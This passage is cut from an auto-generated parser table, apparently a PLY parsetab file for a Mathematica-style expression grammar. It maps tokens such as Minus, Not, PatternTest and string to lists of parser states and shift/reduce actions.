-126,2,2,2,-125,-122,-124,2,2,2,-119,2,2,2,-121,2,2,2,2,2,2,2,-120,-118,2,-142,-141,2,-140,2,2,-179,2,2,2,2,2,-79,2,2,2,2,-127,2,-143,2,-23,2,2,2,2,-16,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,-68,2,2,2,2,2,2,2,2,2,-137,2,2,2,2,-69,2,2,2,2,2,2,2,2,-106,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,-37,2,2,2,2,2,2,2,2,-17,2,-39,2,2,2,2,2,2,-148,2,2,2,-45,-18,2,2,2,2,-36,2,2,2,2,-89,2,2,2,2,2,2,2,2,2,-169,2,2,2,2,2,-107,-22,-132,2,2,2,2,-133,2,-180,2,2,2,2,2,-194,2,-175,2,2,2,-105,2,2,2,2,2,2,2,2,2,2,-52,2,2,2,2,-64,-26,2,2,2,-13,2,2,2,2,2,2,2,2,2,2,-6,2,2,-78,-172,2,2,2,2,-171,2,2,-136,2,-5,-147,-144,2,-146,2,-56,2,2,2,2,2,-96,2,2,2,-10,-24,2,-9,2,2,2,2,2,2,2,2,2,2,2,-100,2,-145,2,2,2,-134,2,-20,2,2,2,2,-53,-67,-130,-131,2,2,2,2,2,2,2,2,-82,2,2,2,2,2,-109,2,-122,2,-138,-189,-191,-192,-187,-185,-183,2,-195,-176,2,2,2,-168,2,2,2,-108,2,2,2,2,2,2,-193,2,2,-135,2,-129,-128,2,-188,-190,-186,-184,-110,]),'MapAll':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,69,-120,-118,69,69,69,69,69,69,69,69,69,69,-156,-127,69,69,69,69,69,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,69,-45,-18,-36,-89,-169,-107,-22,-132,69,69,-133,-175,69,-154,69,-105,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,-64,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,-172,69,69,69,69,-171,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,-156,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,-134,69,69,69,69,69,69,69,69,-130,-131,69,69,69,69,69,69,69,69,69,69,69,69,69,-109,-122,69,69,-176,69,-168,-154,69,-108,69,69,69,-135,69,-129,-128,69,-110,]),'RawAmpersand':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,138,-120,-118,-142,-141,-157,-140,138,138,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,138,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,138,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,138,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,138,-66,-63,138,138,-51,-84,-6,138,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,138,-21,-27,-97,-96,138,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,138,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,138,-134,-102,-20,-42,-50,-75,138,-53,-67,-130,-131,-49,-86,-44,-12,138,-33,-30,-82,-83,138,-4,-70,138,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,138,138,138,-135,-149,-129,-128,-160,-110,]),'Greater':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,71,-120,-118,-142,-141,71,-140,71,71,-79,71,71,-155,-156,-127,71,-143,71,-23,71,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,71,71,-133,-175,71,-154,-152,-105,-65,-29,-92,71,71,-99,-31,71,71,-48,-52,71,-43,71,-139,-64,-26,71,71,-8,-13,71,-90,71,71,-66,71,71,71,-51,71,-6,71,-91,-78,-172,71,71,71,71,-171,-46,-11,-136,-58,-5,-147,-144,71,-146,71,-56,-41,71,-21,71,-97,-96,71,-153,-156,-10,-24,-80,-9,-40,-54,71,-32,71,71,71,-19,71,71,71,-100,71,-145,-61,71,71,-134,71,-20,-42,-50,71,71,-53,-67,-130,-131,-49,71,71,-12,71,-33,71,-82,71,71,71,71,71,-109,-122,71,-138,-176,-151,-168,-154,-150,-108,71,71,71,-135,-149,-129,-128,71,-110,]),'Equivalent':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,72,-120,-118,-142,-141,-157,-140,72,72,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,72,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,72,-133,-175,72,-154,-152,-105,-65,-29,-92,72,72,-99,-31,72,72,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,72,-66,-63,72,72,-51,72,-6,72,-91,-78,-172,-101,72,72,72,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,72,-56,-41,72,-21,72,-97,-96,72,-153,-156,-10,-24,-80,-9,-40,-54,72,-32,72,72,72,-19,72,72,-3,-100,72,-145,-61,72,72,-134,-102,-20,-42,-50,72,72,-53,-67,-130,-131,-49,-86,72,-12,72,-33,-30,-82,-83,72,-4,72,72,-109,-122,72,-138,-176,-151,-168,-154,-150,-108,72,72,72,-135,-149,-129,-128,72,-110,]),'Minus':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[3,3,-123,3,3,-126,3,3,3,-125,-122,-124,3,3,3,-119,3,3,3,-121,3,3,3,73,3,3,3,-120,-118,3,-142,-141,73,-140,73,3,-179,3,3,73,3,3,-79,73,73,73,3,-127,73,-143,73,-23,73,3,3,3,-16,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,-68,3,3,3,3,3,3,3,3,3,-137,3,3,3,3,-69,3,3,3,3,3,3,3,3,-106,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,-37,3,3,3,3,3,3,3,3,-17,3,-39,3,3,3,3,3,3,-148,3,3,3,-45,-18,3,3,3,3,-36,3,3,3,3,-89,3,3,3,3,3,3,3,3,3,-169,3,3,3,3,3,-107,-22,-132,73,73,3,3,-133,3,-180,3,3,3,3,3,-194,3,-175,73,3,73,-105,-65,73,73,73,73,-99,73,73,73,73,-52,73,73,73,-139,-64,-26,73,73,-8,-13,73,73,73,73,-66,73,73,73,73,73,-6,73,73,-78,-172,73,73,73,73,-171,73,-11,-136,73,-5,-147,-144,73,-146,73,-56,73,73,-21,73,73,-96,73,73,3,-10,-24,-80,-9,73,-54,73,73,73,73,73,-19,73,73,73,-100,73,-145,73,73,73,-134,73,-20,73,73,73,73,-53,-67,-130,-131,73,73,73,-12,73,73,73,3,-82,73,73,73,73,73,-109,3,-122,73,-138,-189,-191,-192,-187,-185,-183,3,-195,-176,73,3,3,-168,3,3,73,-108,73,3,3,3,3,3,-193,73,73,-135,73,-129,-128,73,-188,-190,-186,-184,-110,]),'PatternTest':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,74,-120,-118,74,74,74,74,74,74,74,74,74,74,-156,-127,74,74,74,74,74,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,74,-45,-18,-36,-89,-169,-107,-22,74,74,74,74,-175,74,-154,74,-105,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,None,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,-172,74,74,74,74,-171,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,-156,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,-130,-131,74,74,74,74,74,74,74,74,74,74,74,74,74,-109,-122,74,74,-176,74,-168,-154,74,-108,74,74,74,74,74,-129,-128,74,-110,]),'Not':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[4,4,-123,4,4,-126,4,4,4,-125,-122,-124,4,4,4,-119,-156,4,4,-121,4,4,4,4,4,4,4,-120,-118,4,-142,-141,4,-140,4,4,-179,4,4,4,4,4,-79,-35,-60,-155,-156,-127,4,-143,-38,-23,4,4,4,4,-16,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,-68,4,4,4,4,4,4,4,4,4,-137,4,4,4,4,-69,4,4,4,4,4,4,4,4,-106,4,4,4,4,4,4,4,4,4,4,-154,4,4,4,4,-37,4,4,4,4,4,4,4,4,-17,4,-39,4,4,4,4,4,4,-148,4,4,4,-45,-18,4,4,4,4,-36,4,4,4,4,-89,4,4,4,4,4,4,4,4,4,-169,4,4,4,4,4,-107,-22,-132,4,4,4,4,-133,4,-180,4,4,4,4,4,-194,4,-175,4,-154,-152,-105,-65,-29,-92,4,4,-99,-31,4,4,-48,-52,-59,-43,4,-139,-64,-26,-93,4,-8,-13,4,-90,4,4,-66,4,4,4,-51,4,-6,4,-91,-78,-172,4,4,4,4,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,4,-56,-41,4,-21,4,-97,-96,4,-153,-156,-10,-24,-80,-9,-40,-54,4,-32,4,4,4,-19,4,4,4,-100,4,-145,-61,4,4,-134,4,-20,-42,-50,4,4,-53,-67,-130,-131,-49,-86,4,-12,4,-33,-30,4,-82,-83,4,4,4,4,-109,4,-122,4,-138,-189,-191,-192,-187,-185,-183,4,-195,-176,-151,4,4,-168,4,-154,-150,-108,4,4,4,4,4,4,-193,4,4,-135,-149,-129,-128,4,-188,-190,-186,-184,-110,]),'RawDot':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,75,-120,-118,75,75,75,75,75,75,-79,75,75,75,-156,-127,75,75,75,-23,75,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,75,-45,-18,-36,-89,-169,-107,-22,-132,75,75,-133,-175,75,-154,75,-105,75,75,75,75,75,75,75,75,75,75,-52,75,75,75,75,-64,-26,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,-78,-172,75,75,75,75,-171,75,75,-136,75,-5,75,75,75,75,75,-56,75,75,75,75,75,75,75,75,-156,-10,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,-134,75,-20,75,75,75,75,-53,-67,-130,-131,75,75,75,75,75,75,75,-82,75,75,75,75,75,-109,-122,75,-138,-176,75,-168,-154,75,-108,75,75,75,-135,75,-129,-128,75,-110,]),'UnsameQ':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,76,-120,-118,-142,-141,76,-140,76,76,-79,76,76,-155,-156,-127,76,-143,76,-23,76,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,76,76,-133,-175,76,-154,-152,-105,-65,-29,-92,76,76,-99,-31,76,76,-48,-52,76,-43,76,-139,-64,-26,-93,76,-8,-13,76,-90,76,76,-66,76,76,76,-51,76,-6,76,-91,-78,-172,76,76,76,76,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,76,-56,-41,76,-21,76,-97,-96,76,-153,-156,-10,-24,-80,-9,-40,-54,76,-32,76,76,76,-19,76,76,76,-100,76,-145,-61,76,76,-134,76,-20,-42,-50,76,76,-53,-67,-130,-131,-49,76,76,-12,76,-33,76,-82,76,76,76,76,76,-109,-122,76,-138,-176,-151,-168,-154,-150,-108,76,76,76,-135,-149,-129,-128,76,-110,]),'Nor':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,77,-120,-118,-142,-141,-157,-140,77,77,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,77,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,77,-133,-175,77,-154,-152,-105,-65,-29,-92,77,77,-99,-31,77,77,-48,-52,-59,-43,77,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,77,-66,-63,77,77,-51,77,-6,77,-91,-78,-172,-101,77,77,77,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,77,-56,-41,77,-21,77,-97,-96,77,-153,-156,-10,-24,-80,-9,-40,-54,77,-32,77,77,77,-19,77,77,-3,-100,77,-145,-61,77,77,-134,-102,-20,-42,-50,77,77,-53,-67,-130,-131,-49,-86,77,-12,77,-33,-30,-82,-83,77,-4,77,77,-109,-122,77,-138,-176,-151,-168,-154,-150,-108,77,77,77,-135,-149,-129,-128,77,-110,]),'string':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[5,5,-123,5,5,-126,5,5,5,-125,-122,-124,5,5,5,-119,5,5,5,-121,5,5,5,5,5,5,5,-120,-118,5,-142,-141,5,-140,5,5,-179,5,5,5,5,5,-79,5,5,5,5,-127,5,-143,5,-23,5,5,5,5,-16,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,-68,5,5,5,5,5,5,5,5,5,-137,5,5,5,5,-69,5,5,5,5,5,5,5,5,-106,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,-37,5,5,5,5,5,5,5,5,-17,5,-39,5,5,5,5,5,5,-148,5,5,5,-45,-18,5,5,5,5,-36,5,5,5,5,-89,295,5,5,5,5,5,5,5,5,5,-169,5,5,5,5,5,-107,-22,-132,5,5,5,5,-133,5,-180,5,5,5,5,5,-194,5,-175,5,5,5,-105,5,5,5,5,5,5,5,5,5,5,-52,5,5,5,5,-64,-26,5,5,5,-13,5,5,5,5,5,5,5,5,5,5,-6,5,5,-78,-172,5,5,5,5,-171,5,5,-136,5,-5,-147,-144,5,-146,5,-56,5,5,5,5,5,-96,5,5,5,-10,-24,5,-9,5,5,5,5,5,5,5,5,5,5,5,-100,5,-145,5,5,5,-134,5,-20,5,5,5,5,-53,-67,-130,-131,5,5,5,5,5,5,5,5,-82,5,5,5,5,5,-109,5,-122,5,-138,-189,-191,-192,-187,-185,-183,5,-195,-176,5,5,5,-168,5,5,5,348,349,-108,5,5,5,5,5,5,-193,5,5,-135,5,-129,-128,5,-188,-190,-186,-184,-110,]),'Cap':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,78,-120,-118,-142,-141,78,-140,78,78,-79,78,78,78,-156,-127,78,-143,78,-23,78,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,78,78,-133,-175,78,-154,78,-105,78,78,78,78,78,-99,78,78,78,78,-52,78,78,78,78,-64,-26,78,78,-8,-13,78,78,78,78,78,78,78,78,78,78,-6,78,78,-78,-172,78,78,78,78,-171,78,78,-136,78,-5,-147,-144,78,-146,78,-56,78,78,-21,78,78,-96,78,78,-156,-10,-24,-80,-9,78,78,78,78,78,78,78,-19,78,78,78,-100,78,-145,78,78,78,-134,78,-20,78,78,78,78,-53,-67,-130,-131,78,78,78,78,78,78,78,-82,78,78,78,78,78,-109,-122,78,-138,-176,78,-168,-154,78,-108,78,78,78,-135,78,-129,-128,78,-110,]),'CircleTimes':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,79,-120,-118,-142,-141,79,-140,79,79,-79,79,79,79,-156,-127,79,-143,79,-23,79,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,79,-45,-18,-36,-89,-169,-107,-22,-132,79,79,-133,-175,79,-154,79,-105,79,79,79,79,79,79,79,79,79,79,-52,79,79,79,79,-64,-26,79,79,79,-13,79,79,79,79,79,79,79,79,79,79,-6,79,79,-78,-172,79,79,79,79,-171,79,79,-136,79,-5,79,-144,79,79,79,-56,79,79,79,79,79,-96,79,79,-156,-10,-24,79,79,79,79,79,79,79,79,79,79,79,79,79,-100,79,-145,79,79,79,-134,79,-20,79,79,79,79,-53,-67,-130,-131,79,79,79,79,79,79,79,-82,79,79,79,79,79,-109,-122,79,-138,-176,79,-168,-154,79,-108,79,79,79,-135,79,-129,-128,79,-110,]),'Nand':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,80,-120,-118,-142,-141,-157,-140,80,80,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,80,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,80,-133,-175,80,-154,-152,-105,-65,-29,-92,80,80,-99,-31,80,80,-48,-52,-59,-43,80,-139,-64,-26,-93,80,-8,-13,-55,-90,80,80,-66,80,80,80,-51,80,-6,80,-91,-78,-172,80,80,80,80,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,80,-56,-41,80,-21,80,-97,-96,80,-153,-156,-10,-24,-80,-9,-40,-54,80,-32,80,80,80,-19,80,80,-3,-100,80,-145,-61,80,80,-134,80,-20,-42,-50,80,80,-53,-67,-130,-131,-49,-86,80,-12,80,-33,-30,-82,-83,80,-4,80,80,-109,-122,80,-138,-176,-151,-168,-154,-150,-108,80,80,80,-135,-149,-129,-128,80,-110,]),'op_Unequal':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,81,-120,-118,-142,-141,81,-140,81,81,-79,81,81,-155,-156,-127,81,-143,81,-23,81,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,81,81,-133,-175,81,-154,-152,-105,-65,-29,-92,81,81,-99,-31,81,81,-48,-52,81,-43,81,-139,-64,-26,81,81,-8,-13,81,-90,81,81,-66,81,81,81,-51,81,-6,81,-91,-78,-172,81,81,81,81,-171,-46,-11,-136,-58,-5,-14